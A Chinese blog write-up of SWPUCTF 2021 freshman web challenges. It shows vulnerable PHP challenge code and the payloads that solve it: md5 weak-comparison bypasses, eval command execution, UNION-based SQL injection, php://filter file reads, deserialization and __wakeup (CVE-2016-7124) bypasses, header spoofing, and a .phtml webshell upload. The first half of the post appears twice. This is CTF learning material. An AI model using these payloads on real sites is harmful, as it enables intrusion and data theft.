SWPUCTF 2021 新生赛 部分赛题复现

jicao

这是一道php代码审计的题,比较简单,但也学到了一个json格式的知识,题目代码如下:

<?php
highlight_file('index.php');
include("flag.php");
$id=$_POST['id'];
$json=json_decode($_GET['json'],true);
if ($id=="wllmNB"&&$json['x']=="wllm")
{echo $flag;}
?>

分析源码可知,要求我们传入两个参数,一个用get方式传入json,一个用post方式传入id。传入id很简单,直接id=wllmNB就好了,下面我们介绍一下json和json_decode这个函数

我感觉json它的书写格式和python中的字典差不多,如json = '{"a":1,"b":2,"c":3,"d":4,"e":5}',它是一种类似于对应的关系

<?php
$json = '{"a":1,"b":2,"c":3,"d":4,"e":5}';
var_dump(json_decode($json));
var_dump(json_decode($json, true));
?>

以上程序会运行出:

object(stdClass)#1 (5) {
["a"] => int(1)
["b"] => int(2)
["c"] => int(3)
["d"] => int(4)
["e"] => int(5)
}
array(5) {
["a"] => int(1)
["b"] => int(2)
["c"] => int(3)
["d"] => int(4)
["e"] => int(5)
}

由此可以猜测,题目中的

$json=json_decode($_GET['json'],true);
if ($id=="wllmNB"&&$json['x']=="wllm")

这两行的意思就是传入的json的值是x:wllm,由此我们得到payload如下:

执行即得到flag:

easy_md5

<?php 
 highlight_file(__FILE__);
 include 'flag2.php';
 
if (isset($_GET['name']) && isset($_POST['password'])){
    $name = $_GET['name'];
    $password = $_POST['password'];
    if ($name != $password && md5($name) == md5($password)){
        echo $flag;
    }
    else {
        echo "wrong!";
    }
 
}
else {
    echo 'wrong!';
}
?> 

这是一道md5弱类型比较,有两种解决办法

md5弱类型比较

0e绕过

弱比较会把0exxxx当做科学计数法,不管后面的值为任何东西,0的任何次幂都为0

只要两个变量经过md5加密之后前两位都变成0e就可以成功绕过,以下一些字符串的md5值前两位是0e

QNKCDZO
240610708
s878926199a
s155964671a
s21587387a

可以用前两个,payload如下:

数组绕过

md5()函数计算的是一个字符串的哈希值,对于数组则返回false

所以我们也可以这样传:

两种方法都可以得到flag

caidao

这题没什么好说的,打开之后提示就很明确了

密码都给了,直接用蚁剑连一下

看到根目录下的flag文件,打开就是flag

easyrce

 <?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['url']))
{
eval($_GET['url']);
}
?> 

命令执行,连过滤都没有,直接构造命令,两部就好

1.ls列出文件

/?system=("ls /");

2.cat查看可疑文件flllllaaaaaaggggggg

/?url=system(cat /flllllaaaaaaggggggg);

要记得最后以分号结尾,不然不执行

easy_sql

首先打开是一张图片,然后查看源码,发现说参数是wllm,试着传入wllm为1

接着查看字段数,/?wllm=-1'order by 4--+的时候报错了,说明三个字段

然后查看回显位置/?wllm=-1' union select 1,2,3--+

发现两个回显位,接着开始查看库名/?wllm=-1' union select 1,2,database()--+

得到库名之后查看表名/?wllm=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema="test_db"--+

接着查test_tb表的字段名:/?wllm=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name="test_tb"--+

最后直接查flag:/?wllm=-1' union select 1,2,flag from test_tb--+

include

打开环境之后,提示传入一个file,就随便传入一个试试,/?file=1,得到一段php代码

 <?php
ini_set("allow_url_include","on");
header("Content-type: text/html; charset=utf-8");
error_reporting(0);
$file=$_GET['file'];
if(isset($file)){
    show_source(__FILE__);
    echo 'flag 在flag.php中';
}else{
    echo "传入一个file试试";
}
echo "</br>";
echo "</br>";
echo "</br>";
echo "</br>";
echo "</br>";
include_once($file);
?> flag 在flag.php中

看到allow_url_include=on想到php为协议,用filter读取flag.php里的内容,payload如下:/?file=php://filter/read=convert.base64-encode/resource=flag.php,于是得到一串用base64加密的字符,我们解密一下:

ez_unserialize

查看源代码,得到:

没什么东西,想到robot协议,于是查看一下/robots.txt

于是查看/cl45s.php

审计代码,发现和反序列化有关,于是序列化一下

------------恢复内容开始------------

jicao

这是一道php代码审计的题,比较简单,但也学到了一个json格式的知识,题目代码如下:

<?php
highlight_file('index.php');
include("flag.php");
$id=$_POST['id'];
$json=json_decode($_GET['json'],true);
if ($id=="wllmNB"&&$json['x']=="wllm")
{echo $flag;}
?>

分析源码可知,要求我们传入两个参数,一个用get方式传入json,一个用post方式传入id。传入id很简单,直接id=wllmNB就好了,下面我们介绍一下json和json_decode这个函数

我感觉json它的书写格式和python中的字典差不多,如json = '{"a":1,"b":2,"c":3,"d":4,"e":5}',它是一种类似于对应的关系

<?php
$json = '{"a":1,"b":2,"c":3,"d":4,"e":5}';
var_dump(json_decode($json));
var_dump(json_decode($json, true));
?>

以上程序会运行出:

object(stdClass)#1 (5) {
["a"] => int(1)
["b"] => int(2)
["c"] => int(3)
["d"] => int(4)
["e"] => int(5)
}
array(5) {
["a"] => int(1)
["b"] => int(2)
["c"] => int(3)
["d"] => int(4)
["e"] => int(5)
}

由此可以猜测,题目中的

$json=json_decode($_GET['json'],true);
if ($id=="wllmNB"&&$json['x']=="wllm")

这两行的意思就是传入的json的值是x:wllm,由此我们得到payload如下:

执行即得到flag:

easy_md5

<?php 
 highlight_file(__FILE__);
 include 'flag2.php';
 
if (isset($_GET['name']) && isset($_POST['password'])){
    $name = $_GET['name'];
    $password = $_POST['password'];
    if ($name != $password && md5($name) == md5($password)){
        echo $flag;
    }
    else {
        echo "wrong!";
    }
 
}
else {
    echo 'wrong!';
}
?> 

这是一道md5弱类型比较,有两种解决办法

md5弱类型比较

0e绕过

弱比较会把0exxxx当做科学计数法,不管后面的值为任何东西,0的任何次幂都为0

只要两个变量经过md5加密之后前两位都变成0e就可以成功绕过,以下一些字符串的md5值前两位是0e

QNKCDZO
240610708
s878926199a
s155964671a
s21587387a

可以用前两个,payload如下:

数组绕过

md5()函数计算的是一个字符串的哈希值,对于数组则返回false

所以我们也可以这样传:

两种方法都可以得到flag

caidao

这题没什么好说的,打开之后提示就很明确了

密码都给了,直接用蚁剑连一下

看到根目录下的flag文件,打开就是flag

easyrce

 <?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['url']))
{
eval($_GET['url']);
}
?> 

命令执行,连过滤都没有,直接构造命令,两部就好

1.ls列出文件

/?system=("ls /");

2.cat查看可疑文件flllllaaaaaaggggggg

/?url=system(cat /flllllaaaaaaggggggg);

要记得最后以分号结尾,不然不执行

easy_sql

首先打开是一张图片,然后查看源码,发现说参数是wllm,试着传入wllm为1

接着查看字段数,/?wllm=-1'order by 4--+的时候报错了,说明三个字段

然后查看回显位置/?wllm=-1' union select 1,2,3--+

发现两个回显位,接着开始查看库名/?wllm=-1' union select 1,2,database()--+

得到库名之后查看表名/?wllm=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema="test_db"--+

接着查test_tb表的字段名:/?wllm=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name="test_tb"--+

最后直接查flag:/?wllm=-1' union select 1,2,flag from test_tb--+

include

打开环境之后,提示传入一个file,就随便传入一个试试,/?file=1,得到一段php代码

 <?php
ini_set("allow_url_include","on");
header("Content-type: text/html; charset=utf-8");
error_reporting(0);
$file=$_GET['file'];
if(isset($file)){
    show_source(__FILE__);
    echo 'flag 在flag.php中';
}else{
    echo "传入一个file试试";
}
echo "</br>";
echo "</br>";
echo "</br>";
echo "</br>";
echo "</br>";
include_once($file);
?> flag 在flag.php中

看到allow_url_include=on想到php为协议,用filter读取flag.php里的内容,payload如下:/?file=php://filter/read=convert.base64-encode/resource=flag.php,于是得到一串用base64加密的字符,我们解密一下:

ez_unserialize

查看源代码,得到:

没什么东西,想到robot协议,于是查看一下/robots.txt

于是查看/cl45s.php

审计代码,发现和反序列化有关,于是序列化一下,代码如下:

<?php
highlight_file(_FILE_);
	class wllm{
	public $admin = admin;
	public $passwd = ctf;
	}
	$a = new wllm();
	$b = serialize($a);
	echo($b);
?>

得到O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";},传入payload得到:/cl45s.php?p=O:4:"wllm":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:3:"ctf";}

babyrce

burp抓包一下,添加cookie的值如下:

重放,得到一个文件名:

url中查看文件:

发现它过滤了空格,我们可以用%09绕过,shell_exec是命令执行函数,我们直接执行cat%09/f*,得到:

Do_you_know_http

发现要求用WLLM的身份浏览,根据经验,burp抓包,然后修改user-agent字段为WLLM

然后发现返回success,Location字段有个a.php,于是把hello.php改成a.php访问试试

得到如图提示,是IP问题,要我们用本地IP访问,127.0.0.1是本机环回地址,我们在包中加入X-Forwarded-For:127.0.0.1字段,再发包

发现这次location字段变成了secretttt.php,我们访问这个文件就得到了flag

no_wakeup

由php源码可知,是一道与序列化相关的题,与之前那题不同的是,这题多了个wakeup函数,这里科普一下,wakeup函数有一个漏洞

CVE-2016-7124的漏洞,即当序列化字符串中表示对象属性个数的值大于真实的属性个数时会跳过__wakeup的执行。

所以这题的思路就是先得到序列化的字符串,然后改一下表示对象属性个数的值,使之大于真实属性的值,序列化代码如下:

<?php
highlight_file(_FILE_);
	class HaHaHa{
	public $admin = admin;
	public $passwd = wllm;
	}
	$a = new HaHaHa();
	$b = serialize($a);
	echo($b);
?>

得到O:6:"HaHaHa":2:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";},将类后面的数字即对象属性的个数改成3,得到O:6:"HaHaHa":3:{s:5:"admin";s:5:"admin";s:6:"passwd";s:4:"wllm";}

easyupload2.0

显而易见这是一道文件上传的题目

我们上传一个php文件然后抓包看看

应该是字符集的问题,但还是可以猜到应该和后缀有关,说明php后缀不行,被检测出来了,我们可以试试phtml

发现上传成功,成功爆出路径,接下来直接蚁剑连接一下找flag,但这个路径比较***钻,和往常都不太一样

 

 

posted @ 2022-06-27 21:14  Athena-ydy  阅读(2194)  评论(0编辑  收藏  举报